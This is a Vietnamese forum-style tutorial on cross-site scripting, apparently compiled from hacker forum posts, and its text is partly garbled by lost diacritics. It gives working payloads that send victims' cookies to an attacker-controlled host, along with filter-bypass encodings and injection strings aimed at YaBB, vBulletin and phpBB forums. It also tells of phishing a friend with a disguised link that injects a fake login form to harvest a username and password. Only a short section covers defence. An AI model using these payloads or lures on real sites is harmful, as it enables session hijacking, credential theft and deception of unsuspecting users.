Tham khảo tài liệu ''xss cơ bản - lỗi xảy ra như thế nào'', công nghệ thông tin phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả
Authot: Mask_NBTA Alex chan doi Đây viết XSS mà sưu tầm được, hy vọng giúp bạn hiểu chút vấn đề Trước hết viết Mask_NBTA XSS Lỗi xảy ? Lỗi xảy ứng dụng web thu nhận liệu nguy hiểm nhập từ hacker Như bạn biết website thường chứa link , thơng qua link hacker chèn đoạn code vào người dùng sử dụng link coi 99% toi mạng , nói nơm na hacker thơng qua lỗi để chèn code vào site hay link để chôm thông tin quan trọng từ nạn nhân, thơng tin quan trọng cookie username + pass để vào tài khoản ngân hàng sau thơng tin gửi tới cho hacker Cách thường dùng hacker mã hoá phần nguy hiểm link ( chèn code) thành kiểu HEX ( hình thức khác ) để làm cho nạn nhân nghi ngờ click vào link nguy hiểm Sau tìm cách nạn nhân chịu click vào link đặt bẫy , tùy thuộc vào gian xảo hacker :-) , gian xảo mau ######ng thu kết Hầu hết ứng dụng web dùng cookie để kết hợp tài khoản cho người dùng , nghĩa cookie người người xài Các webmail , web bán hàng , nhà băng , đa số dùng cookie với mục đích chứng thực ngừơi dùng , mà hacker cần Vậy chèn code chèn quái , dùng để chèn : dùng Javascript ( thông dụng ) , VBscript , ActiveX, HTML,hoặc Flash Chắc bạn hiểu sơ sơ lỗi :-) Không hiểu xem tiếp hiểu Bi nói thật rõ lỗi : Trước hết giới thiệu sơ với bạn cách mã hố số kí tự thường dùng lỗi XSS ADDRESS để chút khỏi bị choáng : Vì IBF Forum khơng hỗ trợ table viết nên bạn xem chi tiết đầy đủ viết : http://members.lycos.co.uk/masknbta/mask.rtf -sơ sơ , muốn biết hết bạn tự kiếm KIỂM TRA LỖI XSS Bây nêu bước để bạn kiểm tra xem site có bị XSS hay khơng : site có tất phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm phần , nói chung XSS xảy chỗ mà người dùng nhập liệu vào sau nhận Cách tìm lỗi rõ ràng chuyên gia bảo mật chia làm bước theo nên chia thành bước : Bước : Mở website cần kiểm tra ( tất nhiên ) Bước : Bắt đầu kiểm tra , định vị tìm kiếm login form gửi thông tin (nhập thông tin nhấn submit hay login hay ok ) , ví dụ nhập chữ "Mask_NBTA" chẳng hạn hay chữ Bước : Xác định khả site có bị lỗi XSS hay khơng cách xem thơng tin trả : Ví dụ bạn thấy : · "Your search for 'Mask_NBTA' did not find any items" · "Your search for 'Mask_NBTA' returned the following results" · "User 'Mask_NBTA' is not valid" · "Invalid login 'Mask_NBTA'" qi mà có dính tới chữ "Mask_NBTA" mà bạn nhập vào ban đầu 99% "Alert" bi XSS cịn vài hình thức thử tơi xin trình bày ln : + Chú ý ô input hay biến address ( var= ) thấy nhét liệu vào Hãy thử với script : < script>alert('Mask_NBTA')< /script> &{alert('Mask_NBTA')}; Bước : Chèn code thực vào nơi bị lỗi : chèn < script>alert('Mask_NBTA')< /script> vào ô ban nhấn SUBMIT Nếu sau bạn nhận popup có chữ "Mask_NBTA" "Alert" 100% bị dính XSS Nhưng xin ý , có trường hợp website bị dính XSS khơng xuất popup buộc lịng bạn phải VIEW SOURCES (mổ bụng) để xem Khi view sources nhớ kiếm dòng này< script>alert('Mask_NBTA')< /script> , có hết chạy , XSS Một ví dụ khác thường gặp : Gọi http://sitebiloi.com/ site bị dính lỗi XSS ta tìm nơi bị lỗi : http://sitebiloi.com/index.php?page= , nghĩa ta chèn code ADDRESS Tơi khơng thể trình bày hết tình , mà bạn cần hiểu vấn đề bạn hiểu bị lỗi KHAI THÁC Kiểm tra lỗi xong phải tìm cách khai thác lỗi để đạt ta mong muốn : Tơi trình bày cách thơng qua lỗi XSS để lấy cookie nạn nhân : Bước : tạo file cookie.asp có nội dung : - file cookie.php : ////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// upload file lên host bạn Chú ý bạn dùng file php phải up lên host hỗ trợ PHP (lycos) , dùng file asp up lên host hỗ trợ ASP (brinkster) Bước : lấy lại ví dụ site bị XSS address , để lấy cookie nạn nhân ta làm : http://sitebiloi.com/index.php?page= đoạn code chèn vào web page , trông vầy : Hello all! hello < script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.coo kie)< /script> -Với đoạn code trình duyệt thi hành đoạn code sau gửi toàn cookie tới cho bạn dạng file txt bạn việc mở file xem Nhưng khơng phải lúc bạn dễ dàng chèn code , lúc phải linh hoạt chút người lập trình website đâu thể dễ dàng lộng hành , họ có chiêu để ngăn cản , cách họ dùng "Lọc code" (Anti-XSS Filter) Cơ chế họ sau : lọc loại bỏ kí tự đặc biệt mà người dùng nhập vào , đơn giản Chẳng lẽ hacker chịu bó tay , chưa ! Hacker cố gắng vượt qua "bộ lọc" vài thủ thuật nhỏ : 1/ Nếu "Bộ lọc" loại bỏ kí tự "" : Hacker dùng "\x3c" "\x3e" để thay bắt đầu chèn code với ') + ') + '\x3cscript src=ht*p://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e' 2/Biến đoạn code nguy hiểm thành lời giải (comment) : Ví dụ hacker nhập vào < script>code< /script> bị chặn sau : Vượt qua dễ cách dùng thẻ đóng để đóng Nghĩa ta chèn vào : < script> < /script> lúc đoạn lọc code ban đầu trở thành : < /script> -và lọc bị vơ hiệu hố cách nhanh ######ng Cái dùng để hack webmail cách tạo fakelogin khỏi chê 3/Khơng cho JAVASCRIPT tồn : Trong trường hợp hầu hết ký tự đặt biệt nhập vào từ người dùng bị lọc , để vượt qua hacker phải mã hố code nhập vào : Ht*p://sitebiloi.com/search.cgi?query=%26%7balert%28%27Mask %27%29%7d%3b Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" {alert('Mask')}; mã hố Tơi nêu thêm vài ví dụ để bạn dễ hình dung : *Forum YABB GOLD SP1 (chưa fix) , bị XSS sau : ht*p://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269< script>location%3d'Ht*p://www.hostbanupfile.com/cookie.php?Cookie%3d'%2b(docum ent.cookie)%3b< /script> đó , kí tự loằng ngoằng bi sử dụng (tự tra ) *Forum vbullettin (version quên ) : ht*p://target.com/board/usercp.php?s=[Session ID]">< script>javascript:document.write('');< /script> *Forum PHPBB 1.4.4 (hình 2.0 bị) : vào đăng kí acc , sau send topic , ráng để "Alert" admin đọc đặng cịn chơm cookie , tơi gợi ý Subject : ADMIN , I LOVE U Nội dung : your forum is bad, hahaha [img]javascript:document.write('')[/i*g] -ta thực lợi dụng thẻ img để chèn code Khi "Alert" admin đọc topic cookie bay vào tay ta Hà hà ! Cách dùng cookie vừa chơm : Đối với WIN XP cookie lưu trữ : C:\Documents and Settings\tên bạn\cookies\ cịn cookie , xác đâu vào mà kiếm , khơng thể biết cụ thể Kiếm thay cookie ta thành vừa chôm , xong trở lại forum với cookie ta admin Nhưng ta chơm cookie mà "Alert" admin log out tiêu cookie coi vô dụng , áp dụng "Alert" admin ko log out ( khơng biết tơi nhớ có xác hay khơng có lẽ ) Còn nhiều nhiều site + forum bị lỗi net , vài ba ví dụ để bạn dễ hình dung Cách dụ dỗ victim vào link mà ta mong muốn : Để mang tính thực tế dễ hiểu tơi kể cho bạn nghe câu chuyện hack lỗi XSS tình lỗi XSS : Một hôm buồn đời lang thang net vào website , ví dụ http://www.a.com/ theo thói quen tơi đánh liệu vào put in USERNAME , mà đáng vào Mask_NBTA tơi liền thấy xuất dịng chữ "Invalid login : user Mask_NBTA is not found in our data" , hè hè triệu chứng XSS , nhìn vào URL lại thấy http://www.a.com/login.asp?erro=Invalid%20 in%20our%20data q sướng cịn , cơng việc bi để hack Đầu tiên save as trang vào dĩa cứng , dùng NOTE PAD open xem sources Tại làm ? Vì tơi muốn biết tên biến login form , tơi dễ dàng tìm thấy , "ten" "matkhau" , dựa vào tơi biết cần phải làm , phải chèn code hè hè Cái muốn lúc dựa vào XSS để lấy thông tin username + pass nạn nhân Vậy chèn , sau thống suy nghĩ định chèn : Tơi giải thích cho bạn hiểu : để kết thúc FORM site mở Còn code bên nhìn thơi bạn hiểu hết , khơng cần giải thích Chèn code sau : Ht*p://www.a.com/login.asp?tênbiến1=giátrịcóthật1&tênbiến2=giátrịcóthật2&tênbiến3= giátrịcóthật3&tênbiến4=giátrịcóthật4&erro=%3C/FORM%3E%3CFORM%20action=%2 2login1.asp%22%20method=%22post%22%20onsubmit=%22image%20=%20New%20i mage;image.scr='h*tp://myhost/cookie.asp?cookie='%20%2bdocument.form(1).ten.value %20%2b'/'%20%2bdocument.form(1).matkhau.value;%22%2E Tại lại chèn thêm đống biến có thật vào, nhớ để nhìn vào URL ta ko thấy phần code chèn thêm sau , chủ yếu làm cho link thêm dài loằng ngoằng trước hết làm hoa mắt nạn nhân , sau tạo dáng vẻ có thật cách tự nhiên cho link Làm tới nghĩ có "Alert" bạn member site , sẵn rảnh rổi chọc chơi Cách tơi làm send cho mail với nội dung : Mày nghe tin chưa ! WEBSITE a.com mở thi có tiền thưởng 1000 000 , lại sở trường mày , cịn hơng biết tham gia Xem link mày hiểu : H*tp://www.a.com/login.asp bên link http://www.a.com/login.asp?tênbiến1=giỵ au.value;%22%2E Bạn đốn xem chuyện xảy Tất nhiên click vào link tưởng chừng vơ hại , sau login vào site bình thường mà đâu ngờ username + pass bị Công việc vào host , mở file log xem , có , bí mật Câu chuyện tới hết Chắc bạn hiểu cách làm , hy vọng với đầu thiên tài bạn có cách hay cách tơi vừa trình bày CÁCH PHÒNG CHỐNG XSS : 1/Trước hết cho admin website : + Không cho phép HTML tag nhập vào từ người dùng + Lọc tất cá Active Script từ HTML Code 2/Dành cho người dùng : Cẩn thận hết , đừng chết thiếu hiểu biết Tơi viết trước hết để ôn lại kiến thức cho sau muốn giải thích cho bạn hiếu thật rõ nguy hại XSS phòng tránh Cross-Site Scripting (ko nhớ tác giả) Giới thiệu : Bạn lần nhận email mà chứa hyperlink ?Thử nghĩ xem bạn nhận mail link tới site mà bạn tham gia với lời mời chào , ban click vào link mà ko chút thắc mắc , login với user bạn pass vào tay hacker Đây vd nhỏ cross-site scripting thơi Cross-Site Scripting Cross-Site Scripting cịn gọi XSS , lỗi xảy ứng dụng web thu nhận liệu nguy hiểm hacker đoạn mã javascript ,Vbscript Nó giúp bạn lấy thông tin mật ứng dụng web , ko ko ( bạn quên việc nghĩ để khai thác thành công lỗi vài phút ) XSS có khả ảnh hưởng tới site cho phép người dùng nhập liệu vào ,thường : Các công cụ tìm kiếm Forms điền user Web message boards, guestbook Một hacker phát lỗi XSS cố gắng dùng để lấy cookies, tạo trang login giả để lấy pass người khác v v Bây bắt đầu sâu vào lỗi XSS , trước tiên xác định site dính lỗi : Ví dụ cơng cụ tìm kiếm site sau ta nhập giá trị ( ví dụ : XSS ) trả mà ta vừa nhập ( tức in XSS ) có khả bị dính XSS Bây ta view source site tìm thấy " XSS " site dính lỗi , hè hè Để mơ công XSS , site ngân hàng online creat ( www.freebank.com ) Trước tiên hacker bắt đầu tìm trang site để nhập giá trị , ví dụ hacker tìm cố gắng login ko username lên URL sau : http://www.freebank.com/banklogin.asp?err=Invalid%20Login:%20Badlogin (%20 kí tự trắng ) , hacker kiểm tra xem tiêm mã HTML javascript vào trang wweb ko Đơn giản cần thay "Invalid%20Login:%20Badlogin " URL alert('XSS') , sau ta nhận cửa sổ pop-up với thơng báo XSS ta hồn tồn khai thác site qua lỗi XSS Anh ta phải tạo URL để lấy thơng tin nhạy cảm Để tạo URL mà có khả qua mặt nhiều người hacker phải mở sourrce trang web ( mà cụ thể trang banklogin.asp ) để đưa vào URL phù hợp: hacker thêm vào đoạn code sau ( tùy trường hợp cụ thể mà ta thay code khác ) " tiêm " vào trang login sau : ( đoạn code in nghiêng ) Username :Password: Như ta thấy , đoạn code "tiêm " vào gồm phần , để kết thúc gốc , hai Chú ý